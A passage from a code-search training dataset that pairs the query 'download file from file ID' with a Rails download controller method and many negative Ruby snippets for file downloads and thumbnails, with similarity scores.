"def thumbnail\n unless @thumbnail_url\n BabboBackend.get.request_thumbnail_url_for_identifier(@productIdentifier, sender:self)\n return nil\n end\n\n unless @thumbnail\n load_thumbnail(@thumbnail_url)\n return nil\n end\n\n return @thumbnail\n end",
"def get_thumbnail(image)\n if File.exist? ( ( image.gsub /^#{@dirname}/, \"#{@thumbs}\" ) + @thumbext)\n image = ( image.gsub /^#{@dirname}/, \"#{@thumbslocal}\" ) + @thumbext\n else\n image = '../images/bigicons/image.jpg'\n end\n image\n end",
"def vimeo_thumbnail(format='small')\n thumbnail_id = case format.to_s\n when 'small' then 0\n when 'medium' then 1\n when 'large' then 2\n else 0\n end\n vimeo_info[\"thumbnails\"][\"thumbnail\"][thumbnail_id]\n end",
"def youtube_photo(id)\n \"http://img.youtube.com/vi/#{id}/mqdefault.jpg\"\n end",
"def thumbnail_url\n result_hash['thb']\n end",
"def thumbnail_url\n scribd_document ? scribd_document.thumbnail_url : nil\n end",
"def via_files(filename, thumbnail_width)\n thumb = Vips::Image.thumbnail filename, thumbnail_width, crop: \"centre\"\n\n thumb.write_to_buffer \".jpg\"\nend",
"def thumbnail_url document\n document.derivative_paths[:thumbnail].relative_path.to_s\n end",
"def large\n attachments.first.file.url(:large)\n rescue StandardError => exc\n logger.error(\"Message for the log file while retrieving large preview #{exc.message}\")\n 'empty_file.png'\n end",
"def url_thumb\n extname = File.extname(file_file_name)\n\n case extname.to_s\n when '.swf' then '/images/swf.gif'\n when '.pdf' then '/images/pdf.gif'\n when '.doc', '.txt' then '/images/doc.gif'\n when '.mp3' then '/images/mp3.gif'\n when '.rar', '.zip', '.tg' then '/images/rar.gif'\n when '.xls' then '/images/xls.gif'\n else '/images/ckfnothumb.gif'\n end\n\tend",
"def get_thumbnail(input)\n puts \"getting thumbnail of #{input}\"\n out = File.join(File.dirname(input),File.basename(input,File.extname(input)) + \"-%d.jpg\")\n FFmpeg.encode do |ff| \n ff.input = input\n ff.record_start_time = 0\n ff.record_for = 0.001\n ff.video_frames = 1\n ff.video_frame_size = '200x150'\n ff.output = out\n end\n end",
"def thumbnail_image\n end",
"def thumbnail(element_key)\n parameter = { basic_auth: @auth }\n self.class.get(\"/elements/#{element_key}/thumbnail\", parameter)\n end",
"def generate_thumbnail(image_path, commit_id)\n Gg::ImageProcessing.new(\"#{satellitedir}/#{image_path}\")\n .generate(image_for(commit_id, 'thumbnails'), 'thumbnail')\n end",
"def file_by_url(url)\n return file_by_id(url_to_id(url))\n end",
"def update_thumbnail_from_url(entry_id, url)\n\t\t\tkparams = {}\n\t\t\t# Media entry id\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# file url\n\t\t\tclient.add_param(kparams, 'url', url);\n\t\t\tclient.queue_service_action_call('media', 'updateThumbnailFromUrl', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def update_thumbnail_from_url(entry_id, url)\n\t\t\tkparams = {}\n\t\t\t# Media entry id\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# file url\n\t\t\tclient.add_param(kparams, 'url', url);\n\t\t\tclient.queue_service_action_call('baseentry', 'updateThumbnailFromUrl', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def image(id, nsfw = false)\n img = get url: \"images/#{id}\", nsfw: nsfw\n img['image'] if img\n end",
"def thumbnail_url\n (ipaper_document && ipaper_document.thumbnail_url) || public_filename(:thumb)\n end",
"def find_medium(id)\n self.class.get(\"/media/#{id}.json?apikey=#{apikey}\")\n end",
"def temp_document_thumb_url(document)\n if document.cloud_content_thumbnail.attached?\n document.cloud_content_thumbnail.service_url\n else\n 'application/processing.png'\n end\n end",
"def thumbnail_url(attribute)\n doc = scribd_document_for(attribute)\n\n (doc && doc.thumbnail_url) or self.send(attribute).url(:thumb)\n end",
"def get_raw_image_by_id(id)\n\n repo_images = self.get_raw_repository_images\n\n # select images from this repository with matching id\n image = repo_images.select { |image| image.id[0,id.length] == id }\n\n if image.length == 0\n raise \"Image not found\"\n elsif image.length > 1\n raise \"More than one image matched\"\n end\n\n return image[0]\n\n end",
"def thumb_for(document, size)\n image_tag document.thumb(size, self)\n end",
"def get_an_image_thumbnail_given_its_floorplan_id(args = {}) \n get(\"/resource.json/floorplan/#{args[:floorplanId]}/thumb\", args)\nend",
"def thumbnail_path(options={})\n thumb = options[:thumb] || :thumb\n if has_thumbnail?\n public_filename(thumb)\n elsif !options[:no_default]\n content_icon\n end\n end",
"def thumbnail(command)\n path = '/' + clean_up(command[1])\n dst = command[2]\n out, metadata = @client.files.thumbnail(path)\n pp metadata\n open(dest, 'w') { |f| f.puts out }\n puts \"wrote thumbnail #{ dst }.\"\n end",
"def thumb_image_path\n begin\n self.attachment.url(:thumb) ? self.attachment.url(:thumb) : \"/public/no-image.png\"\n rescue\n \"/public/no-image.png\"\n end\n end",
"def photo__thumb_path\r\n\r\nFile.join(FILES_DEST_PHOTO__THUMBS, File.basename(self.photo__path))\r\nend",
"def thumb\n @agency_image = AgencyImage.find(params[:id])\n respond_to do |format|\n format.jpg # thumb.jpg.flexi\n end\n end",
"def update_offline_thumbnail_jpeg(entry_id, file_data)\n\t\t\tkparams = {}\n\t\t\t# live stream entry id\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# Jpeg file data\n\t\t\tclient.add_param(kparams, 'fileData', file_data);\n\t\t\tclient.queue_service_action_call('livestream', 'updateOfflineThumbnailJpeg', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def filename\n @filename ||= generate_thumbnail!\n end",
"def get_thumbnail_url\n nil\n end",
"def get_image(image_id)\n return @rm.get(image_id)\n end",
"def thumb\n @agency_logo = AgencyLogo.find(params[:id])\n respond_to do |format|\n format.jpg # thumb.jpg.flexi\n end\n end",
"def small\n attachments.first.file.url(:small)\n rescue StandardError => exc\n logger.error(\"Message for the log file while retrieving small preview #{exc.message}\")\n 'empty_file.png'\n end",
"def thumb_url\n self.source.thumb.url\n end",
"def thumbnail(from_path, size='large')\n response = thumbnail_impl(from_path, size)\n parse_response(response, raw=true)\n end",
"def thumbnail(input = 0)\n return self.uploads[input].variant(resize: '1000x1000').processed\n end",
"def update_thumbnail_jpeg(entry_id, file_data)\n\t\t\tkparams = {}\n\t\t\t# Media entry id\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# Jpeg file data\n\t\t\tclient.add_param(kparams, 'fileData', file_data);\n\t\t\tclient.queue_service_action_call('baseentry', 'updateThumbnailJpeg', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def serve_by_entry_id(entry_id, thumb_param_id=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# if not set, default thumbnail will be used.\n\t\t\tclient.add_param(kparams, 'thumbParamId', thumb_param_id);\n\t\t\tclient.queue_service_action_call('thumbasset', 'serveByEntryId', kparams);\n\t\t\treturn client.get_serve_url();\n\t\tend",
"def thumbnail(options = {})\n return if !readable? || !thumbnailable?\n\n size = options[:size].to_i\n if size > 0\n # Limit the number of thumbnails per image\n size = (size / 50.0).ceil * 50\n # Maximum thumbnail size\n size = 800 if size > 800\n else\n size = Setting.thumbnails_size.to_i\n end\n size = 100 unless size > 0\n target = thumbnail_path(size)\n\n diskfile_s3 = diskfile\n begin\n Redmine::Thumbnail.generate(diskfile_s3, target, size, is_pdf?)\n rescue => e\n Rails.logger.error \"An error occured while generating thumbnail for #{diskfile_s3} to #{target}\\nException was: #{e.message}\"\n return\n end\n end",
"def thumbnail_url\n return '' if self.variant_image_thumbnail.blank?\n self.variant_image_thumbnail.filename.url\n end"
] | [
"0.7399413",
"0.7376753",
"0.71843195",
"0.7139195",
"0.7119786",
"0.7089523",
"0.7009363",
"0.69929045",
"0.69928724",
"0.6945751",
"0.6917085",
"0.690358",
"0.690358",
"0.6903018",
"0.6870271",
"0.6870271",
"0.68289596",
"0.68130565",
"0.67734146",
"0.6773357",
"0.673857",
"0.6732065",
"0.6722874",
"0.6719834",
"0.66923755",
"0.6670965",
"0.66473335",
"0.6642322",
"0.66211593",
"0.6607941",
"0.6575797",
"0.6568331",
"0.6545676",
"0.65374297",
"0.6527079",
"0.6508598",
"0.6506427",
"0.64745975",
"0.6437767",
"0.6436353",
"0.6432388",
"0.6407346",
"0.63980836",
"0.63903654",
"0.6377376",
"0.6377376",
"0.63685876",
"0.6362386",
"0.6361036",
"0.6353967",
"0.6343669",
"0.6330039",
"0.63198495",
"0.6318828",
"0.6314222",
"0.63136274",
"0.6308394",
"0.6302082",
"0.6298601",
"0.6290925",
"0.62789536",
"0.6278766",
"0.62763906",
"0.62754405",
"0.6267025",
"0.6255597",
"0.62469274",
"0.6224749",
"0.6220182",
"0.6201285",
"0.619362",
"0.6181964",
"0.61813515",
"0.61804616",
"0.61648697",
"0.6147019",
"0.6146599",
"0.61229134",
"0.6117422",
"0.61174124",
"0.61136323",
"0.6113075",
"0.6112927",
"0.6111879",
"0.61118746",
"0.61107737",
"0.6106354",
"0.61022115",
"0.6100521",
"0.609676",
"0.6090926",
"0.60871524",
"0.6086939",
"0.6072585",
"0.6067484",
"0.60672206",
"0.6057592",
"0.6049209",
"0.6048342",
"0.6046316"
] | 0.64840627 | 37 |
download file from file ID | def download
session[:current_folder] = params[:folder]
mixpanel_tab_event("My Vault", "Download File")
download_url = Rails.cache.fetch("/download_url/#{params[:id]}", :expires_in => 10.minutes) do
user_client.download_url(params[:id])
end
redirect_to download_url
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def download(id, filename)\n open(filename, \"w\").write(@res[\"/download?id=#{id}\"].get)\n return filename\n rescue\n puts $!\n return nil\n end",
"def download(file)\n uri = URI.parse(file)\n id=uri.query.match(/id=(.*)/)[1]\n\n Net::HTTP.start(uri.host) do |http|\n resp = http.get(uri.path + \"?\" + uri.query)\n open(\"docs/#{id}.pdf\", \"wb\") do |file|\n file.write(resp.body)\n end\n end\n id\nend",
"def report_file_download(id)\r\n\t\tpost= { \"token\" => @token, \"report\" => id } \r\n\t\tfile=nessus_http_request('file/report/download', post)\r\n\t\treturn file\r\n\tend",
"def download(id)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n PUTIO_BASE_URL + (\"/files/%i/download?oauth_token=%s\" % [id, @access_token])\n end",
"def download(id)\n Down.copy_to_tempfile(id, open(id))\n end",
"def download_file\n @request = Request.find_by_n_request(params[:id])\n send_data(@request.file, type: @request.file_type, filename: @request.file_name,\n disposition: 'attachment')\n end",
"def report_file1_download(id)\r\n\t\tpost= { \"token\" => @token, \"report\" => id, \"v1\" => \"true\" } \r\n\t\tfile=nessus_http_request('file/report/download', post)\r\n\t\treturn file\r\n\tend",
"def download(server, id)\n make_request(\n :get,\n \"/download/#{server}/#{id}\",\n headers: { 'Accept' => '*/*' },\n base: @media_uri\n )\n end",
"def file(id)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n response = make_get_call('/files/%i' % [id])\n response.download = download(id)\n\n response\n end",
"def download\n @document = Document.find(params[:id])\n @filepath = @document.full_filename\n send_file(@filepath,\n :disposition => 'attachment',\n :encoding => 'utf8',\n :type => 'application/octet-stream') \n end",
"def download_file()\n # gets the student we are watching\n @student = Student.find(params[:id]);\n # Here we wanna decrypt the file\n decr_file = decrypt_file(@student)\n # we make the file downloadable\n send_file(decr_file,\n :filename => @student.file,\n :type => @student.file.content_type,\n :disposition => 'attachment',\n :url_based_filename => true)\n end",
"def file_download(file_id, opts = {})\n file_download_with_http_info(file_id, opts)\n return nil\n end",
"def attachment_download(id, options={})\n post(\"wrike.attachment.download\", options.merge(:id => id))\n end",
"def download_shared_file(project_id_or_key, file_id)\n get(\"projects/#{project_id_or_key}/files/#{file_id}\")\n end",
"def download\n storage.download(id)\n end",
"def file_download\n if !model.edgarj_file?(params[:column])\n flash[:error] = t('edgarj_file.no_assoc')\n return\n end\n\n file_info_id = user_scoped.find(params[:id]).send(params[:column])\n if file_info_id\n file_info = FileInfo.find(file_info_id)\n if file_info\n send_file(file_info.full_filename, :filename => file_info.filename)\n return\n end\n end\n logger.warn 'invalid file_info'\n end",
"def download\n # TODO: Find out why this is needed, should be handeled in ability.rb\n authorize! :read, params[:id]\n begin\n send_data @file.datastreams['content'].content, {:filename => @file.original_filename, :type => @file.mime_type}\n rescue ActiveFedora::ObjectNotFoundError => obj_not_found\n flash[:error] = 'The basic_files you requested could not be found in Fedora! Please contact your system administrator'\n logger.error obj_not_found.to_s\n render text: obj_not_found.to_s, status: 404\n rescue => standard_error\n flash[:error] = 'An error has occurred. Please contact your system administrator'\n logger.error standard_error.to_s\n render text: standard_error.to_s, status: 500\n end\n end",
"def download\n file = BruseFile.find_by(:download_hash => params[:download_hash])\n if file.identity.user == current_user\n # send the file to the user\n send_data file.identity.get_file(file.foreign_ref), filename: file.name, type: file.filetype\n end\n end",
"def download\n @paystub = Paystub.find( params[:id] )\n\n if File.exists?(@paystub.filespec)\n send_file @paystub.filespec,\n\t filename: @paystub.filename,\n type: \"application/pdf\",\n disposition: :attachment\n else\n flash.now[:danger] = \"File #{@paystub.filename} was not found - regenerating\" \n redirect_to export_paystub_path(@paystub)\n end\n end",
"def file(file_type, id)\n query = \"/?client_id=#{@client_id}&#{id}\"\n path = \"#{file_type}/#{__method__}.to_s\"\n resp = http_get(path, query)\n end",
"def download\n\t\tsend_file(params[:path])\n end",
"def download\n #@repository=Repository.find(params[:id])\n #url=/assets/uploads/1/original/BK-KKM-01-01_BORANG_PENILAIAN_KURSUS.pdf?1474870599\n #send_file(\"#{::Rails.root.to_s}/public#{@repository.uploaded.url.split(\"?\").first}\")\n @filename=\"#{::Rails.root.to_s}/public#{@repository.uploaded.url.split(\"?\").first}\"\n #send_file(@filename , :type => 'application/pdf/docx/html/htm/doc', :disposition => 'attachment')\n send_file(@filename ,:type => 'application/pdf', :disposition => 'attachment')\n end",
"def file_get(id)\n response = get('FileService.getFile', id)\n end",
"def set_filedownload\n @filedownload = Filedownload.find(params[:id])\n end",
"def download\n @queja = Queja.find(params[:id])\n send_file(@queja.evidencia.path)\n end",
"def download\n send_file @cfile.path.to_s\n end",
"def download\n document = Document.find(params[:document_id])\n tempfile = open(document.url)\n send_data tempfile.read, :filename => document.title, :type => document.content_type\n end",
"def download\n record_activity(\"downloaded \" + params[:file_name])\n send_file Rails.root.join('public', 'uploads', params[:file_name])\n end",
"def get_file(file_id)\n\tputs \"Getting file: \" + file_id\n\tresponse = request_get('/api/partner/file/' + file_id)\n\tputs response.body\nend",
"def download_link\n download_params = { :sub => 'download', :fileid => @fileid, :filename => @remote_filename, :cookie => @api.cookie }\n DOWNLOAD_URL % [ @server_id, @short_host, download_params.to_query ]\n end",
"def download_invoice(id, data, filename = nil)\n invoice = find_invoice_or_fail(id)\n\n filename ? invoice.download_as(filename, data) : invoice.download(data)\n end",
"def download\n @video = Video.find(params[:id])\n send_file(RAILS_ROOT+\"/public\"[email protected](\"?\")[0], :disposition => 'inline', :stream => false)\n end",
"def download\n @audio = Audio.find(params[:id])\n send_file(RAILS_ROOT+\"/public\"[email protected](\"?\")[0], :disposition => 'inline', :stream => false)\n end",
"def download_note\n document = Document.find(params[:id])\n authorize! :download_note, document\n \n begin\n upload = Upload.find(params[:upload_id])\n rescue\n puts \"### ERROR: \" + e.message\n redirect_to show_path(document), notice: \"ERROR: file (upload) ID not found. Upload may have been deleted\"\n return\n end\n \n send_file upload.upfile.path, \n :filename => upload.upfile_file_name, \n :type => 'application/octet-stream'\n end",
"def download_asset(prog_id)\n return download_data(\"http://www.channel4.com/programmes/asset/#{prog_id}\")\n end",
"def download_file(source, filename)\n response = HTTParty.get(\"#{@host}/download_file\", query: {\n source_file: \"#{source}:#{filename}\",\n api_key: @api_key\n })\n \n return response.body\n end",
"def download\n # Retrieve \"file_id\" parameter.\n @file_id = params[:file_id]\n\n # Verify if the :file_id exists with the help of our StorageMock class.\n # This sample can only be executed if the provided file exists.\n unless exist?(@file_id)\n render text: 'Not Found', status: 404 && return\n end\n\n file_path = get_data_path(@file_id)\n\n # Check if doc already has a verification code registered on storage.\n verification_code = get_verification_code(@file_id)\n if verification_code.to_s.empty?\n # If not, generate a code and register it.\n verification_code = generate_verification_code\n set_verification_code(@file_id, verification_code)\n end\n\n # Generate the printer-friendly version.\n pfv_content = generate_printer_friendly_version(file_path, verification_code)\n # Return the generate file.\n send_data pfv_content, :filename => \"printer-friendly.pdf\"\n end",
"def download\n @package = Package.find(params[:id])\n if @package.present?\n send_file Munki::Application::PACKAGE_DIR + @package.installer_item_location, :filename => @package.to_s(:download_filename)\n fresh_when :etag => @package, :last_modified => @package.created_at.utc, :public => true\n else\n render page_not_found\n end\n end",
"def download\n # TODO fix routes so they make more sense\n # This is nutty the :document_id is actually the :task_id\n # I must have been trying to save time - didn't work ;(\n @task = Task.find(params[:document_id])\n @document = Document.where(\"user_id = ? and task_id = ?\", current_user.id, params[:document_id]).first\n if @document\n content = render_to_string template: \"documents/download\"\n filename = @document.assignment.name+\"_\"[email protected]\n \n download = convert_file(content, current_user, filename, params[:file_type])\n send_file(download[:filepath], filename: download[:filename]) \n else\n redirect_to school_assignment_path(current_user.school,@task.assignment_id), notice: \"No Content available for this task.\"\n end\n end",
"def b2_download_file_by_name(file, *folder)\n\n if folder[0] != nil\n file_url = b2_generate_file_url(file, folder[0])\n else\n file_url = b2_generate_file_url(file)\n end\n\n uri = URI(file_url)\n req = Net::HTTP::Get.new(uri)\n http = Net::HTTP.new(req.uri.host, req.uri.port)\n http.use_ssl = true\n res = http.start {|http| http.request(req)}\n\n case res\n when Net::HTTPSuccess then\n res.body\n swapfile = File.new(\"./public/swap/#{file}\", 'wb')\n swapfile.puts(res.body)\n swapfile.close\n when Net::HTTPRedirection then\n fetch(res['location'], limit - 1)\n else\n res.error!\n end\n\nend",
"def download!(source_url, destination_file); end",
"def download\n open(download_url, \"rb\")\n end",
"def download(path)\n RestClient::Request.execute(:method => :get, :url => (@host + '/api/v1/files' + escape(path)), :user => @user, :password => @password, :raw_response => true, :headers => {:accept_encoding => ''}).file\n end",
"def download\n return file if file\n\n self.file = retrieve_file\n end",
"def download\n file = UserFile.exist_refresh_state(@context, params[:uid])\n\n if file.state != UserFile::STATE_CLOSED\n raise ApiError, \"Files can only be downloaded if they are in the 'closed' state\"\n end\n\n if file.license.present? && !file.licensed_by?(@context)\n raise ApiError, \"You must accept the license before you can download this\"\n end\n\n file_url = file.file_url(@context, params[:inline])\n\n respond_to do |format|\n format.html do\n redirect_to URI.parse(file_url).to_s\n end\n\n format.json do\n render json: {\n file_url: file_url,\n file_size: file.file_size,\n }, adapter: :json\n end\n end\n end",
"def download_file url\n check_session\n result = api_client.execute(:uri => url)\n if result.status == 200\n return result.body\n else\n puts \"An error occurred: #{result.data['error']['message']}\"\n return nil\n end\n end",
"def files_id_download_get(id, opts = {})\n files_id_download_get_with_http_info(id, opts)\n end",
"def download_original ; path_download_file(:original).download end",
"def download(params, save_as)\n info = self.class.get('/files.info', query: params.merge({token: @token})).tap do |response|\n raise \"error retrieving information for for file #{params[:file]}: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end.fetch('file')\n\n if download = info['url']\n uri = URI(download)\n name = uri.path.split('/').last\n\n if save_as\n if File.directory?(save_as)\n name = \"#{save_as}/#{name}\"\n else\n name = save_as\n end\n end\n\n File.open(name, 'wb') { |f| f.write HTTParty.get(download).parsed_response }\n return name\n else\n raise \"error determining private download URL for file #{params[:file]}\"\n end\n end",
"def get_file_download(bucket_id:, file_id:)\n path = '/storage/buckets/{bucketId}/files/{fileId}/download'\n .gsub('{bucketId}', bucket_id)\n .gsub('{fileId}', file_id)\n\n if bucket_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"bucketId\"')\n end\n\n if file_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"fileId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n )\n end",
"def download_raw\n document = Document.find(params[:id])\n authorize! :download_raw, document\n \n begin\n upload = Upload.find( document.stuffing_upload_id )\n rescue ActiveRecord::RecordNotFound => e\n puts \"### ERROR: \" + e.message\n redirect_to show_data_path(document), notice: \"ERROR: file (upload) ID not found. Upload may have been deleted\"\n return\n end\n \n send_file upload.upfile.path, \n :filename => upload.upfile_file_name, \n :type => 'application/octet-stream'\n end",
"def files_id_download_get_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: FilesApi.files_id_download_get ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling FilesApi.files_id_download_get\"\n end\n # resource path\n local_var_path = \"/files/{id}/download\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = [ 'access_token' ]\n response = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FilesApi#files_id_download_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return response\n end",
"def download(url)\n base.get(url, @file_path)\n end",
"def file_download_with_http_info(file_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OtherApi.file_download ...\"\n end\n # verify the required parameter 'file_id' is set\n if @api_client.config.client_side_validation && file_id.nil?\n fail ArgumentError, \"Missing the required parameter 'file_id' when calling OtherApi.file_download\"\n end\n if @api_client.config.client_side_validation && file_id < 1\n fail ArgumentError, 'invalid value for \"file_id\" when calling OtherApi.file_download, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = \"/file/download/{file_id}\".sub('{' + 'file_id' + '}', file_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/force-download'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OtherApi#file_download\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def download_file\n info(\"Downloading file \" + @filename + \" started.\")\n \n open(local_file, 'wb') do |file|\n file << open(remote_file).read\n end\n\n info(\"Downloading file \" + @filename + \" completed successfully.\")\n rescue StandardError => e\n error(\"Unable to download file #{@filename} due to following error occurred #{e}\")\n end",
"def download\n @generic_file = retrieve_object! params[:id]\n if @generic_file\n @document = SolrDocument.find(params[:object_id])\n\n can_view?\n\n if File.file?(@generic_file.path)\n response.headers['Content-Length'] = File.size?(@generic_file.path).to_s\n send_file @generic_file.path,\n type: @generic_file.mime_type || 'application/octet-stream',\n stream: true,\n buffer: 4096,\n disposition: \"attachment; filename=\\\"#{@generic_file.filename.first}\\\";\",\n url_based_filename: true\n return\n end\n end\n\n render plain: 'Unable to find file', status: 404\n end",
"def download_data\n file_content = nil\n begin\n file_content = FileContent.find(params[:id])\n rescue\n file_content = nil\n end\n\n # We need to figure out which groups are allowed to download this file content.\n # Unfortunately, this requires iterating through any referenced URLs and collecting\n # all applicable group_ids.\n group_ids = []\n if (!file_content.nil? &&\n !file_content.data.nil?)\n file_content.process_files.each do |process_file|\n if (!process_file.os_process.nil? &&\n !process_file.os_process.fingerprint.nil? &&\n !process_file.os_process.fingerprint.url.nil?)\n # Clear the cache, if need be.\n process_file.os_process.fingerprint.url.expire_caches\n group_ids << process_file.os_process.fingerprint.url.group_id\n end\n end\n group_ids.uniq!\n end\n\n if (!file_content.nil? &&\n !file_content.data.nil? &&\n (!group_ids.index(nil).nil? ||\n current_user.has_role?(:admin) ||\n ((current_user.groups.map{|g| g.is_a?(Group) ? g.id : g} & group_ids).size > 0)))\n send_file(RAILS_ROOT + '/' + file_content.data.to_s, :x_sendfile => true)\n else\n redirect_back_or_default('/')\n end\n end",
"def download(id, &block)\n get(\"/#{id}?download=true\") do |request, http|\n http.request(request) do |resp|\n case resp\n when Net::HTTPSuccess\n if block_given? then\n resp.read_body &block\n else\n resp.read_body do |chunk|\n $stdout.write chunk\n end\n end\n else\n showHttpError(request, response)\n raise resp\n end\n end\n nil\n end\n end",
"def downloadRevision(fileToGet, dest, revisionID)\n \n if !fileToGet || fileToGet.empty?\n puts \"please specify item to get\"\n elsif !dest || dest.empty?\n puts \"please specify full local path to dest, i.e. the file to write to\"\n elsif File.exists?(dest)\n puts \"error: File #{dest} already exists.\"\n else\n \n fileData,metadata = @client.get_file_and_metadata(fileToGet, rev='')\n \n #Create necessary parent directories:\n fileDir, fileNameAndExt = File.split(dest);\n fileName, fileExt = fileNameAndExt.split(/(?=\\.)/)\n FileUtils::mkdir_p(fileDir)\n \n \n #Write to file:\n open(dest, 'w'){|f| f.puts fileData }\n puts \"Downloaded file to #{dest}.\"\n end\n end",
"def file_by_id(id)\n api_result = execute!(\n :api_method => self.drive.files.get,\n :parameters => { \"fileId\" => id })\n return wrap_api_file(api_result.data)\n end",
"def download(url, filename)\n uri = URI.parse(url)\n f = open(filename,'wb')\n begin\n http = Net::HTTP.start(uri.host) {|http|\n http.request_get(uri.path) {|resp|\n resp.read_body {|segment|\n f.write(segment)\n }\n }\n }\n ensure\n f.close()\n end\nend",
"def download_file(url)\n\t\t\tf = Tempfile.new(File.basename(url))\n\t\t\tpath = f.path\n\t\t\turl = URI.parse(url)\n\t\t\tNet::HTTP.start( url.host) { |http|\n\t\t\t\tresp = http.get(url.path)\n\t\t\t\tf.write(resp.body)\n\t\t\t}\n\t\t\tf.close\n\t\t\treturn path\n\t\tend",
"def download\r\n download = Download.find params[:id]\r\n \r\n # If this download is available only after login, execute an authentication process.\r\n return if download.restrict && !user_authentication\r\n \r\n # Download contains an agreement\r\n if download.agreement\r\n # Redirect to the agreement page if it is a GET request.\r\n unless request.post?\r\n render :partial => 'agreement', :object => download.agreement, :layout => true\r\n return false\r\n end\r\n \r\n if params[:commit] == 'Accept'\r\n # User accept this agreement, log this event and then continue.\r\n agreement_log = AgreementLog.create(\r\n :agreement => download.agreement,\r\n :download => download,\r\n :remote_ip => request.remote_ip,\r\n :store_user => (session[:web_user].nil? ? nil : session[:web_user]),\r\n :http_header => request.env.to_yaml\r\n )\r\n else\r\n # User does not accept this agreement, redirect to support page.\r\n redirect_to :action => 'index'\r\n return false\r\n end\r\n end\r\n \r\n # Generate a symbolic link for this file to download.\r\n # After deploied on server, a CRON job will clean up these links every 30 minutes.\r\n path = Digest::SHA1.hexdigest(\"#{session.session_id} @ #{Time.now.to_f}\")\r\n path << \".u_#{session[:web_user].id}\" if download.restrict\r\n path << \".a_#{agreement_log.id}\" if download.agreement\r\n filename = download.filename\r\n \r\n FileUtils.mkdir \"./public/downloads/#{path}\" unless File.directory? \"./public/downloads/#{path}\"\r\n target_file = \"./public/downloads/#{path}/#{filename}\"\r\n \r\n # Codes for test only. Delete 2 lines below.\r\n # render :text => \"Redirect to /downloads/#{path}/#{filename}\"\r\n # return false\r\n \r\n unless File.symlink(\"#{RAILS_ROOT}/downloads/#{download.filename}\", target_file) == 0\r\n render :text => \"Sorry, system is busy now. Please try again several seconds later.\"\r\n return false\r\n end\r\n \r\n # Log this file name in database.\r\n File.open('log/download.log', 'a') { |file| file.puts \"downloads/#{path}/#{filename}\" }\r\n\r\n redirect_to \"/downloads/#{path}/#{filename}\"\r\n end",
"def ead_download\n _, @document = search_service.fetch(params[:id])\n send_file(\n ead_file_path,\n filename: \"#{params[:id]}.xml\",\n disposition: 'inline',\n type: 'text/xml'\n )\n end",
"def download(url, filename)\n uri = URI.parse(url)\n f = open(filename,'wb')\n begin\n http = Net::HTTP.start(uri.host) {|http|\n http.request_get(uri.request_uri) {|resp|\n resp.read_body {|segment|\n f.write(segment)\n }\n }\n }\n ensure\n f.close()\n end\nend",
"def download\n enforce_permissions!('edit', params[:object_id]) if params[:version].present?\n\n @generic_file = retrieve_object! params[:id]\n if @generic_file\n @document = SolrDocument.find(params[:object_id])\n\n can_view?\n\n if @document.published?\n Gabba::Gabba.new(GA.tracker, request.host).event(@document.root_collection_id, \"Download\", @document.id, 1, true)\n end\n\n local_file = GenericFileContent.new(generic_file: @generic_file).local_file(params[:version])\n\n if local_file\n response.headers['Content-Length'] = File.size?(local_file.path).to_s\n send_file local_file.path,\n type: local_file.mime_type || @generic_file.mime_type,\n stream: true,\n buffer: 4096,\n disposition: \"attachment; filename=\\\"#{@generic_file.filename.first}\\\";\",\n url_based_filename: true\n return\n end\n end\n\n render text: 'Unable to find file', status: 404\n end",
"def download_note_collection\n collection = Collection.find(params[:id])\n authorize! :download_note_collection, collection\n upload = Upload.find(params[:upload_id])\n \n send_file upload.upfile.path, \n :filename => upload.upfile_file_name, \n :type => 'application/octet-stream'\n end",
